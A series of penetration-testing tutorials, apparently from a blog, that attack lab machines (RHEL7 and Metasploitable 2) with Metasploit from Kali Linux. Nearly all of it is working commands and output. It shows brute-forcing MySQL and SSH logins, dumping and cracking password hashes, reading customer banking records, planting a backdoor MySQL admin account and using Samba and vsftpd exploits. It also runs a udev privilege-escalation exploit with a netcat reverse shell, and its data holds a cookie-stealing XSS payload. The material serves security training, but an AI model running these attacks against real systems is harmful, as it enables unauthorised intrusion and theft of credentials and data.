Hack MySQL Server in RHEL7 using Metasploit in Kali Linux

In this tutorial, we will hack MySQL Server running in RHEL 7 using Metasploit running in Kali Linux.

MySQL Server Name: meru.mycompany.com
MySQL Server IP Address: 192.168.122.1

Perform the following steps on the Kali Linux Machine

1) Start the services.
root@kali:~# service postgresql start
[ ok ] Starting PostgreSQL 9.1 database server: main.

root@kali:~# service metasploit start
[ ok ] Starting Metasploit rpc server: prosvc.[ ok ] Starting Metasploit web server: thin.
[ ok ] Starting Metasploit worker: worker.

root@kali:~# msfconsole
msf >


2) Perform nmap scan on MySQL Server.
msf > db_nmap -sV 192.168.122.1 -p 3306
[*] Nmap: Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-27 10:03 IST
[*] Nmap: Nmap scan report for meru.mycompany.com (192.168.122.1)
[*] Nmap: Host is up (0.00034s latency).
[*] Nmap: PORT     STATE SERVICE VERSION
[*] Nmap: 3306/tcp open  mysql   MySQL 5.5.35-MariaDB
[*] Nmap: MAC Address: 52:54:00:8A:8D:BA (QEMU Virtual NIC)
[*] Nmap: Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 0.71 seconds


3) Perform brute force password attack.
msf > use auxiliary/scanner/mysql/mysql_login

msf auxiliary(mysql_login) > show options

Module options (auxiliary/scanner/mysql/mysql_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             3306             yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts


msf auxiliary(mysql_login) > set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt
USER_FILE => /usr/share/metasploit-framework/data/wordlists/unix_users.txt

msf auxiliary(mysql_login) > set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
PASS_FILE => /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt

msf auxiliary(mysql_login) > set RHOSTS 192.168.122.1
RHOSTS => 192.168.122.1

msf auxiliary(mysql_login) > set STOP_ON_SUCCESS  true
STOP_ON_SUCCESS => true

msf auxiliary(mysql_login) > run

[*] 192.168.122.1:3306 MYSQL - Found remote MySQL version 5.5.35
Access denied for user 'anon'@'192.168.122.115' (using password: YES))[-] 192.168.122.1:3306 MYSQL - LOGIN FAILED: anon:iloveyou (Incorrect: Access denied for user 'anon'@'192.168.122.115' (using password: YES))
[-] 192.168.122.1:3306 MYSQL - LOGIN FAILED: anon:admin (Incorrect: Access denied for user 'anon'@'192.168.122.115' (using password: YES))
[+] 192.168.122.1:3306 MYSQL - Success: 'root:root'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


As seen above, we have cracked login credentials for User 'root' with password 'root'


4) Capture other user credentials. We will capture the password hashes and then crack it using John the Ripper.

msf > use auxiliary/scanner/mysql/mysql_hashdump
msf auxiliary(mysql_hashdump) > show options

Module options (auxiliary/scanner/mysql/mysql_hashdump):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS                     yes       The target address range or CIDR identifier
   RPORT     3306             yes       The target port
   THREADS   1                yes       The number of concurrent threads
   USERNAME                   no        The username to authenticate as

msf auxiliary(mysql_hashdump) > set USERNAME root
USERNAME => root
msf auxiliary(mysql_hashdump) > set PASSWORD root
PASSWORD => root
msf auxiliary(mysql_hashdump) > run

[+] Saving HashString as Loot: root:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[+] Saving HashString as Loot: root:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[+] Saving HashString as Loot: root:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[+] Saving HashString as Loot: shabbir:*8A5EC1AC3F305AF2D49B4AC632B4829A9440E667
[+] Saving HashString as Loot: user:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] Saving HashString as Loot: anon@localhost:*2CE4701D02A76C12CD513109CA16967A68B4C23A
[+] Saving HashString as Loot: anon:*2CE4701D02A76C12CD513109CA16967A68B4C23A
[+] Saving HashString as Loot: anon:*2CE4701D02A76C12CD513109CA16967A68B4C23A
[+] Saving HashString as Loot: root:*01A6717B58FF5C7EAFFF6CB7C96F7428EA65FE4C
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


Open another terminal window and copy the password hashes to a file 'temp' as shown below.
root@kali:~# vi temp

root:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
root:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
root:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
shabbir:*8A5EC1AC3F305AF2D49B4AC632B4829A9440E667
user:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
anon@localhost:*2CE4701D02A76C12CD513109CA16967A68B4C23A
anon:*2CE4701D02A76C12CD513109CA16967A68B4C23A
anon:*2CE4701D02A76C12CD513109CA16967A68B4C23A
root:*01A6717B58FF5C7EAFFF6CB7C96F7428EA65FE4C


Run John the Ripper to crack the hashes.

root@kali:~# john temp
Created directory: /root/.john
Loaded 9 password hashes with no different salts (MySQL 4.1 double-SHA-1 [128/128 SSE2 intrinsics 4x])
root             (root)
root             (root)
root             (root)
shabbir          (shabbir)
password         (user)
princess         (anon@localhost)
princess         (anon)
princess         (anon)


root@kali:~# john temp --show
root:root
root:root
root:root
shabbir:shabbir
user:password
anon@localhost:princess
anon:princess
anon:princess




5) Browse MySQL Server.

msf > use auxiliary/admin/mysql/mysql_enum 

msf auxiliary(mysql_enum) > show options

Module options (auxiliary/admin/mysql/mysql_enum):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOST                      yes       The target address
   RPORT     3306             yes       The target port
   USERNAME                   no        The username to authenticate as

msf auxiliary(mysql_enum) > set RHOST 192.168.122.1
RHOST => 192.168.122.1

msf auxiliary(mysql_enum) > set USERNAME root
USERNAME => root

msf auxiliary(mysql_enum) > set PASSWORD root
PASSWORD => root

msf auxiliary(mysql_enum) > run

[*] Running MySQL Enumerator...
[*] Enumerating Parameters
[*]     MySQL Version: 5.5.35-MariaDB
[*]     Compiled for the following OS: Linux
[*]     Architecture: x86_64
[*]     Server Hostname: meru.mycompany.com
[*]     Data Directory: /var/lib/mysql/
[*]     Logging of queries and logins: OFF
[*]     Old Password Hashing Algorithm OFF
[*]     Loading of local files: ON
[*]     Logins with old Pre-4.1 Passwords: OFF
[*]     Allow Use of symlinks for Database Files: DISABLED
[*]     Allow Table Merge:
[*]     SSL Connection: DISABLED
[*] Enumerating Accounts:
[*]     List of Accounts with Password Hashes:
[*]         User: root Host: localhost Password Hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[-] *** auxiliary/admin/mysql/mysql_enum is still calling the deprecated report_auth_info method! This needs to be updated!
[*]         User: root Host: 127.0.0.1 Password Hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[-] *** auxiliary/admin/mysql/mysql_enum is still calling the deprecated report_auth_info method! This needs to be updated!
[*]         User: root Host: ::1 Password Hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[-] *** auxiliary/admin/mysql/mysql_enum is still calling the deprecated report_auth_info method! This needs to be updated!
[*]         User: shabbir Host: % Password Hash: *8A5EC1AC3F305AF2D49B4AC632B4829A9440E667
[-] *** auxiliary/admin/mysql/mysql_enum is still calling the deprecated report_auth_info method! This needs to be updated!
[*]         User: user Host: localhost Password Hash: *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[-] *** auxiliary/admin/mysql/mysql_enum is still calling the deprecated report_auth_info method! This needs to be updated!
[*]         User: anon@localhost Host: % Password Hash: *2CE4701D02A76C12CD513109CA16967A68B4C23A
[-] *** auxiliary/admin/mysql/mysql_enum is still calling the deprecated report_auth_info method! This needs to be updated!
[*]         User: anon Host: localhost Password Hash: *2CE4701D02A76C12CD513109CA16967A68B4C23A
[-] *** auxiliary/admin/mysql/mysql_enum is still calling the deprecated report_auth_info method! This needs to be updated!
[*]         User: anon Host: 192.168.122.% Password Hash: *2CE4701D02A76C12CD513109CA16967A68B4C23A
[-] *** auxiliary/admin/mysql/mysql_enum is still calling the deprecated report_auth_info method! This needs to be updated!
[*]         User: root Host: % Password Hash: *01A6717B58FF5C7EAFFF6CB7C96F7428EA65FE4C
[-] *** auxiliary/admin/mysql/mysql_enum is still calling the deprecated report_auth_info method! This needs to be updated!
[*]     The following users have GRANT Privilege:
[*]         User: root Host: localhost
[*]         User: root Host: 127.0.0.1
[*]         User: root Host: ::1
[*]     The following users have CREATE USER Privilege:
[*]         User: root Host: localhost
[*]         User: root Host: 127.0.0.1
[*]         User: root Host: ::1
[*]         User: root Host: %
[*]     The following users have RELOAD Privilege:
[*]         User: root Host: localhost
[*]         User: root Host: 127.0.0.1
[*]         User: root Host: ::1
[*]         User: root Host: %
[*]     The following users have SHUTDOWN Privilege:
[*]         User: root Host: localhost
[*]         User: root Host: 127.0.0.1
[*]         User: root Host: ::1
[*]         User: root Host: %
[*]     The following users have SUPER Privilege:
[*]         User: root Host: localhost
[*]         User: root Host: 127.0.0.1
[*]         User: root Host: ::1
[*]         User: root Host: %
[*]     The following users have FILE Privilege:
[*]         User: root Host: localhost
[*]         User: root Host: 127.0.0.1
[*]         User: root Host: ::1
[*]         User: root Host: %
[*]     The following users have PROCESS Privilege:
[*]         User: root Host: localhost
[*]         User: root Host: 127.0.0.1
[*]         User: root Host: ::1
[*]         User: root Host: %
[*]     The following accounts have privileges to the mysql database:
[*]         User: root Host: localhost
[*]         User: root Host: 127.0.0.1
[*]         User: root Host: ::1
[*]         User: root Host: %
[*]     The following accounts are not restricted by source:
[*]         User: anon@localhost Host: %
[*]         User: root Host: %
[*]         User: shabbir Host: %
[*] Auxiliary module execution completed


6) View MySQL Server Database Schema.

msf > info auxiliary/scanner/mysql/mysql_schemadump

       Name: MYSQL Schema Dump
     Module: auxiliary/scanner/mysql/mysql_schemadump
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  theLightCosine <theLightCosine@metasploit.com>

Basic options:
  Name             Current Setting  Required  Description
  ----             ---------------  --------  -----------
  DISPLAY_RESULTS  true             yes       Display the Results to the Screen
  PASSWORD                          no        The password for the specified username
  RHOSTS                            yes       The target address range or CIDR identifier
  RPORT            3306             yes       The target port
  THREADS          1                yes       The number of concurrent threads
  USERNAME                          no        The username to authenticate as

Description:
  This module extracts the schema information from a MySQL DB server.

msf > use auxiliary/scanner/mysql/mysql_schemadump 

msf auxiliary(mysql_schemadump) > set USERNAME shabbir
USERNAME => shabbir
msf auxiliary(mysql_schemadump) > set PASSWORD shabbir
PASSWORD => shabbir

msf auxiliary(mysql_schemadump) > set RHOSTS 192.168.122.1
RHOSTS => 192.168.122.1

msf auxiliary(mysql_schemadump) > run

[*] Schema stored in: /root/.msf4/loot/20150627113706_default_192.168.122.1_mysql_schema_138881.txt
[+] MySQL Server Schema
 Host: 192.168.122.1
 Port: 3306
 ====================

---
- DBName: mybank
  Tables:
  - TableName: customer
    Columns:
    - ColumnName: loginid
      ColumnType: varchar(50)
    - ColumnName: passwd
      ColumnType: varchar(50)
    - ColumnName: custname
      ColumnType: varchar(100)
    - ColumnName: accountno
      ColumnType: int(11)
    - ColumnName: balance
      ColumnType: decimal(10,2)
    - ColumnName: address
      ColumnType: varchar(500)
    - ColumnName: mobile
      ColumnType: varchar(50)

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed



7) Run SQL Query

msf auxiliary(mysql_enum) > use auxiliary/admin/mysql/mysql_sql

msf auxiliary(mysql_sql) > show options

Module options (auxiliary/admin/mysql/mysql_sql):

   Name      Current Setting   Required  Description
   ----      ---------------   --------  -----------
   PASSWORD                    no        The password for the specified username
   RHOST                       yes       The target address
   RPORT     3306              yes       The target port
   SQL       select version()  yes       The SQL to execute.
   USERNAME                    no        The username to authenticate as

msf auxiliary(mysql_sql) > set RHOST 192.168.122.1 
RHOST => 192.168.122.1

msf auxiliary(mysql_sql) > set username shabbir
username => shabbir

msf auxiliary(mysql_sql) > set password shabbir
password => shabbir

msf auxiliary(mysql_sql) > set sql select * from mybank.customer
sql => select * from mybank.customer
 
msf auxiliary(mysql_sql) > run

[*] Sending statement: 'select * from mybank.customer'...
[*]  | batul | dahod | batul ben dahod | 1234 | 25000.00 | fdfdfdfdfd | 5454545454 |
[*]  | shabbir | shabbir | shabbir rangwala | 1000 | 49000.00 | dkdkdkdkd dkdkdkdkd | 193933030 |
[*]  | taher | taher | taher saifee | 2000 | 8000.00 | dddl fkfkfl flflflfll | 122222233 |
[*]  | trudy | trudy | trudy chennai | 1050 | 20000.00 | <a href=# onclick="document.location='http://evil.hacker.com/xss.php?c='+escape(document.cookie);"My Address</a> | 2345678531 |
[*] Auxiliary module execution completed

Hack SSH Server in RHEL 7 Using Metasploit in Kali Linux

In this tutorial, we will hack the password for 'root' user on SSH Server running in RHEL 7 using Metasploit running in Kali Linux.

SSH Server Name: meru.mycompany.com
SSH Server IP Address: 192.168.122.1

Perform the following steps on the Kali Linux Machine

1) Start the services.
root@kali:~# service postgresql start
[ ok ] Starting PostgreSQL 9.1 database server: main.

root@kali:~# service metasploit start
[ ok ] Starting Metasploit rpc server: prosvc.[ ok ] Starting Metasploit web server: thin.
[ ok ] Starting Metasploit worker: worker.


2) Start metasploit console.
root@kali:~# msfconsole
msf >


3) Check database status 
msf > db_status
[*] postgresql connected to msf3


4) Perform nmap scan through a database extension in Metasploit. This scan will automatically add all the details that are found to various sections of Metasploit.
msf > db_nmap -sS 192.168.122.1 -p 22
[*] Nmap: Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-17 14:01 IST
[*] Nmap: Nmap scan report for meru.mycompany.com (192.168.122.1)
[*] Nmap: Host is up (0.0024s latency).
[*] Nmap: PORT   STATE SERVICE
[*] Nmap: 22/tcp open  ssh
[*] Nmap: MAC Address: 52:54:00:8A:8D:BA (QEMU Virtual NIC)
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds

5) Search for module.
msf > search ssh
auxiliary/scanner/ssh/ssh_login                                              normal     SSH Login Check Scanner

6) Select the module.
msf > use auxiliary/scanner/ssh/ssh_login

7) View options.
msf auxiliary(ssh_login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             22               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

8) Set options.
msf auxiliary(ssh_login) > set RHOSTS 192.168.122.1
RHOSTS => 192.168.122.1

msf auxiliary(ssh_login) > set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
PASS_FILE => /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt

msf auxiliary(ssh_login) > set USERNAME root
USERNAME => root

9) Execute the module
msf auxiliary(ssh_login) > run

[*] 192.168.122.1:22 SSH - Starting bruteforce
[-] 192.168.122.1:22 SSH - Failed: 'root:123456'
[-] 192.168.122.1:22 SSH - Failed: 'root:12345'
[-] 192.168.122.1:22 SSH - Failed: 'root:123456789'
[-] 192.168.122.1:22 SSH - Failed: 'root:password'
[-] 192.168.122.1:22 SSH - Failed: 'root:iloveyou'
[+] 192.168.122.1:22 SSH - Success: 'root:adminpasswd' 'uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Linux meru.mycompany.com 3.10.0-123.el7.x86_64 #1 SMP Mon Jun 30 12:09:22 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux '
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf auxiliary(ssh_login) > id
[*] exec: id
uid=0(root) gid=0(root) groups=0(root)

msf auxiliary(ssh_login) > cat /etc/shadow



As seen above, we have got a root shell on the victim machine.

Metasploitable2: Hack Samba Server and get root access

The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities. This virtual machine is compatible with VMWare, VirtualBox, and other common virtualization platforms.

We have installed 'Metasploitable 2' and Kali Linux as Virtual Machines in KVM in CentOS7. For Instructions on how to install Metasploitable 2 Virtual Machine in KVM, refer to this post.

In a previous post , we carried out a Vulnerability Scan of the 'Metasploitable 2' virtual machine using OpenVAS in Kali LInux.  

In this post, we will hack Samba Server using Metasploit in Kali Linux.

We have the following scenario:

Metasploitable2 IP Address: 192.168.122.73
Kali Linux IP Address:           192.168.122.115

Perform the following steps on the Kali Linux machine:

1) We perform a port scan on the Metasploitable machine and see that the samba port is open.
root@kali:~# nmap  192.168.122.73
Nmap scan report for 192.168.122.73
Host is up (0.00080s latency).
Not shown: 977 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds


2) Start metasploit
root@kali:~# msfconsole
msf > search samba
 exploit/multi/samba/usermap_script              2007-05-14       excellent  Samba "username map script" Command Execution


msf > use exploit/multi/samba/usermap_script

msf exploit(usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  139              yes       The target port


msf exploit(usermap_script) > set RHOST 192.168.122.73
RHOST => 192.168.122.73


msf exploit(usermap_script) > show payloads


We will select a payload in which the remote host connects back to our (attacker) system.

msf exploit(usermap_script) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse

msf exploit(usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.122.73   yes       The target address
   RPORT  139              yes       The target port


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.122.115  yes       The listen address
   LPORT  4444             yes       The listen port


Many corporate environments restrict outbound ports using a firewall. So we will use port 443, which is reserved for SSL traffic, and outbound is generally allowed.

msf exploit(usermap_script) > set LPORT 443
LPORT => 443
msf exploit(usermap_script) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo ol88NmbSO30AG07L;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "ol88NmbSO30AG07L\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (192.168.122.115:443 -> 192.168.122.73:46632) at 2015-06-13 14:35:45 +0530

whoami
root


We now have root access on the target machine

Metasploitable2 : Hack MySQL Server using Metasploit in Kali Linux

The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities. This virtual machine is compatible with VMWare, VirtualBox, and other common virtualization platforms.

We have installed 'Metasploitable 2' and Kali Linux as Virtual Machines in KVM in CentOS7. For Instructions on how to install Metasploitable 2 Virtual Machine in KVM, refer to this post.

In a previous post , we carried out a Vulnerability Scan of the 'Metasploitable 2' virtual machine using OpenVAS in Kali LInux.  

In this post, we will hack MySQL Server using Metasploit in Kali Linux.

We have the following scenario:

Metasploitable2 IP Address: 192.168.122.74
Kali Linux IP Address:           192.168.122.115  

Perform the following steps on the Kali Linux machine:

1) We perform a port scan on the Metasploitable machine and see that the mysql port is open.
root@kali:~# nmap -p 3306 192.168.122.74

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-07 11:09 IST
Nmap scan report for 192.168.122.74
Host is up (0.00062s latency).
PORT     STATE SERVICE
3306/tcp open  mysql
MAC Address: 00:0C:29:FA:DD:2A (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds



2) We will try to hack the password for 'root' user. We will try blank password and see if it works.
 
root@kali:~# msfconsole

msf > search mysql

msf > use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login) > show options
Module options (auxiliary/scanner/mysql/mysql_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             3306             yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

msf auxiliary(mysql_login) > set RHOSTS 192.168.122.74
RHOSTS => 192.168.122.74
msf auxiliary(mysql_login) > set USERNAME root
USERNAME => root
msf auxiliary(mysql_login) > set BLANK_PASSWORDS true
BLANK_PASSWORDS => true
msf auxiliary(mysql_login) > exploit

[*] 192.168.122.74:3306 MYSQL - Found remote MySQL version 5.0.51a
[!] No active DB -- Credential data will not be saved!
[!] No active DB -- Credential data will not be saved!
[+] 192.168.122.74:3306 MYSQL - Success: 'root:'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
sf auxiliary(mysql_login) > quit
root@kali:~#


3) We are lucky. Now we will log in to the mysql server with user 'root' and blank password.

root@kali:~# mysql -u root -h 192.168.122.74


3) We create a user 'shabbir' with password 'shabbir' having full administrative control over the mysql database.

mysql> grant all on *.* to shabbir@192.168.122.115 identified by 'shabbir';
Query OK, 0 rows affected (0.00 sec)

mysql> quit
Bye


4) We can now log in to the mysql database whenever we want with username 'shabbir' and password 'shabbir' and have full administrative access.

root@kali:~# mysql -u shabbir -h 192.168.122.74 -p
Enter password:

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| dvwa               |
| metasploit         |
| mysql              |
| owasp10            |
| tikiwiki           |
| tikiwiki195        |
+--------------------+
7 rows in set (0.00 sec)

Metasploitable 2: Privilege Escalation Hack 1

The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities. This virtual machine is compatible with VMWare, VirtualBox, and other common virtualization platforms.

We have installed 'Metasploitable 2' and Kali Linux as Virtual Machines in KVM in CentOS7. For Instructions on how to install Metasploitable 2 Virtual Machine in KVM, refer to this post.

In a previous post , we carried out a Vulnerability Scan of the 'Metasploitable 2' virtual machine using OpenVAS in Kali LInux.  

In the scan found the following vulnerability in 'ssh server'.

SSH Brute Force Logins with default credentials. 

In this post we will exploit this vulnerability to get access to the metasploitable2 machine. Then we will use a local privilige escalation exploit to get root shell.
 

root@kali:~# ssh user@192.168.122.73
user@192.168.122.73's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
user@metasploitable:~$ id
uid=1001(user) gid=1001(user) groups=1001(user)


1) View the kernel version.

user@metasploitable:~$ uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

2) Search for a local privilege escalation exploit in exploit-db for the above kernel version.  Luckily we are able to find one here : http://www.exploit-db.com/exploits/8572/
cve-2009-1185.c

 *

 * udev < 141 Local Privilege Escalation Exploit

 * Jon Oberheide <jon@oberheide.org>

 * http://jon.oberheide.org

 *

 *

 *   udev before 1.4.1 does not verify whether a NETLINK message originates

 *   from kernel space, which allows local users to gain privileges by sending

 *   a NETLINK message from user space.

 *

 * Notes:

 *  

 *   An alternate version of kcope's exploit.  This exploit leverages the

 *   95-udev-late.rules functionality that is meant to run arbitrary commands

 *   when a device is removed.  A bit cleaner and reliable as long as your

 *   distro ships that rule file.

 *

 *   Tested on Gentoo, Intrepid, and Jaunty.

 *

 * Usage:

 *

 *   Pass the PID of the udevd netlink socket (listed in /proc/net/netlink,

 *   usually is the udevd PID minus 1) as argv[1].

 *

 *   The exploit will execute /tmp/run as root so throw whatever payload you

 *   want in there.

 */

3) Download and compile the exploit.

user@metasploitable:~$ wget --no-check-certificate http://www.exploit-db.com/download/8572
 
user@metasploitable:~$ mv 8572 priv.c

user@metasploitable:~$ gcc -o priv priv.c


 
4) Get the PID for the /proc/net/netlink socket.

user@metasploitable:~$ cat /proc/net/netlink
sk       Eth Pid    Groups   Rmem     Wmem     Dump     Locks
df407a00 0   0      00000000 0        0        00000000 2
df903600 4   0      00000000 0        0        00000000 2
df4bce00 7   0      00000000 0        0        00000000 2
df4bc200 9   0      00000000 0        0        00000000 2
ddc01200 10  0      00000000 0        0        00000000 2
df407e00 15  0      00000000 0        0        00000000 2
df928800 15  2279   00000001 0        0        00000000 2
de313600 16  0      00000000 0        0        00000000 2
dd942400 18  0      00000000 0        0        00000000 2

Our PID seems to be 2279, but lets check the udev service to make sure.

user@metasploitable:~$ ps aux|grep udev 
root      2280  0.0  0.1   2092   620 ?        S<s  03:55   0:00 /sbin/udevd --daemon

Our udev service has a PID of 2280 and 2280 - 1 = 2279 so our initial number is correct.


5) Prepare the exploit payload. We will use netcat to connect out to the Kali Linux Machine once the exploit runs to give us root access to this machine.


user@metasploitable:~$ vi /tmp/run
#!/bin/bash
/bin/netcat -e /bin/bash 192.168.122.115 1337

The exploit will run the above code as the root user. Our payload will be to start netcat and to execute a bash shell once the program connects to the Kali Linux machine. We also need to start up our netcat listener on the Kali Linux machine to catch the shell from the victim.

root@kali:~# nc -l -p 1337


6) Run the exploit with the PID as argument.

user@metasploitable:~$ ./priv 2279


7) On the Kali Linux machine, you get the root shell.
root@kali:~# nc -l -p 1337
id
uid=0(root) gid=0(root)

Metasploitable2: Hack FTP Server and NFS Server using Kali Linux

The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities. This virtual machine is compatible with VMWare, VirtualBox, and other common virtualization platforms.

We have installed 'Metasploitable 2' and Kali Linux as Virtual Machines in KVM in CentOS7. For Instructions on how to install Metasploitable 2 Virtual Machine in KVM, refer to this post.

In a previous post , we carried out a Vulnerability Scan of the 'Metasploitable 2' virtual machine using OpenVAS in Kali LInux.  

In the scan found the following vulnerability in 'vsftpd'.

vsftpd Compromised Source Packages Backdoor Vulnerability

In this tutorial, we will exploit this vulnerability using Metasploit and get 'root' access on the machine.

1) Start Metasploit.
root@kali:~# msfconsole


2) Search for the vsftpd vulnerability
msf > search vsftpd
[!] Database not connected or cache not built, using slow search

Matching Modules
================

   Name                                  Disclosure Date  Rank       Description
   ----                                  ---------------  ----       -----------
   exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  VSFTPD v2.3.4 Backdoor Command Execution


3) Use the vulnerability
msf > use exploit/unix/ftp/vsftpd_234_backdoor


4) Set the IP address of the 'victim' machine
msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.122.73
RHOST => 192.168.122.73


5) Exploit the vulnerability and get root access.
msf exploit(vsftpd_234_backdoor) > exploit

[*] Banner: 220 (vsFTPd 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned, handling...
[+] UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.122.115:42588 -> 192.168.122.73:6200) at 2015-05-27 14:29:55 +0530

id
uid=0(root) gid=0(root)


After an attacker has gained 'root' access, he will typically install a rootkit, so that he can come and go at will and hide his activities from the administrator. The rootkit will attempt to remove all traces of an attacker's presence from the log files. And replace binaries such as ls, ps, ifconfig, killall, netstat, lsof, passwd. In a future tutorial, we will see how to use 'tripwire' and 'chkrootkit' to detect rootkits.

Attack NFS and get root login

During the Vulnerability Scan of the 'Metasploitable 2' virtual machine in a previous post, we found the following misconfiguration in NFS Server.

The Root File System is exported in read/write mode.

root@kali:~# showmount -e 192.168.122.73

Export list for 192.168.122.73:/ *


